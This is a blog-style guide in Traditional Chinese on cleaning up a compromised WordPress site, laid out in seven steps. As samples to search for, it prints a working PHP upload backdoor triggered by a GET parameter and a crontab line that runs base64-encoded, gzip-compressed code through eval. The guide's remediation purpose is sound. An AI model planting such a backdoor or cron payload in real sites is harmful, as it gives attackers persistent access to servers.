如果 WordPress 一旦被駭之後,會變很容易再次被駭,原因大多是因為還有漏洞沒有被修補。這個漏洞可能是本來的漏洞,但也有可能是先前駭客攻擊時加入的後門或是其他已經埋藏好的攻擊方式。
以下有幾個處理步驟給大家參考。
*注意 1:在處理的步驟過程中網站會無法存取!!
*注意 2:記得在處理前將網站備份!
步驟一:刪除 WordPress 根目錄所有潛在可能被感染的檔案
首先先刪除除了 wp-content, wp-config.php, index.php, .htaccess 以外的檔案。
接下來人工檢查一下 wp-config.php, index.php, .htaccess 有沒有什麼很明顯的感染痕跡。
*備註:這個步驟一定要刪除 wp-admin 和 wp-include 這些核心檔案資料夾!
步驟二:使用 imunifyav 對程式碼進行掃描
imunifyav 是一套 Linux 用的防毒軟體,可以用來快速的發現潛在漏洞。
如果你有付費購買,可以讓你一鍵修復所有潛在漏洞。如果沒有付費購買的話,那也可以依據他提供的報告來逐一修復漏洞檔案。
步驟三:查看 wp-content 資料夾內的檔案
通常攻擊的點有以下幾個
- /wp-content 根目錄:可能會放置一些後門檔案
- /wp-content/plugins:建議重裝所有外掛,並且移除掉沒有使用的外掛。因為駭客會偽裝和修改外掛,將木馬埋設在現有或停用的外掛裡。
- /wp-content/themes:建議重裝所有佈景主題,並且移除掉沒有使用的外掛。
- /wp-content/uploads:理論上這裡面不該有任何的
php
檔案,可以搜尋是否有 php 檔案,如果有的話就該刪除。
像我就在 uploads 裡面找到一些奇怪亂碼檔案名稱,裡面有奇怪的程式碼。
小提示:可以一次準備好所有外掛的壓縮檔案,一次透過 FTP 上傳到 plugins 資料夾後解壓縮,會比起用後台一個一個傳還要有效率
步驟四:搜尋幾個駭客用來傳送檔案的方法關鍵字,例如 move_uploaded_file
和 eval
使用工具全域搜尋你的 WordPress 資料夾,例如下面這樣一段就是駭客的後門。
if(isset($_GET["p"]) && $_GET["p"] == 1780) { ?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f">
<input type="submit">
</form>
<?php
}
if (isset($_FILES["f"]["tmp_name"]))
move_uploaded_file($_FILES["f"]["tmp_name"], basename($_FILES["f"]["name"]));
備註:這幾個方法很常被 WordPress 核心使用,這也是為什麼我們要在第一步先刪除掉核心檔案,避免一堆結果無法分辨。
步驟五:檢查 crontab
如果你不是使用 WordPress 的內建排程,那麼駭客可能會將攻擊埋設在 crontab 裡面。
使用 crontab -e
編輯查看是否有類似如下攻擊:
這個攻擊會執行某段程式,將後門埋設到 WordPress 的核心檔案裡。
* * * * * /usr/bin/php -r 'eval(gzinflate(base64_decode("xxxxxxx)));'
駭客也很愛用 base64_decode 這個方法來隱藏程式碼,所以你也可以搜尋在步驟四的時候搜尋 base64_decode 這個方法看看是否有可疑的檔案。
步驟六:重新安裝 WordPress 核心
重新安裝 WordPress 核心檔案後,先確認網站是否能正確執行。如果不能執行...那建議要恢復備份重頭確認一下是不是哪一個步驟錯了。
步驟七:再次使用 imunifyav 對程式碼進行掃描
再次掃描,確保是否還有可能的漏洞。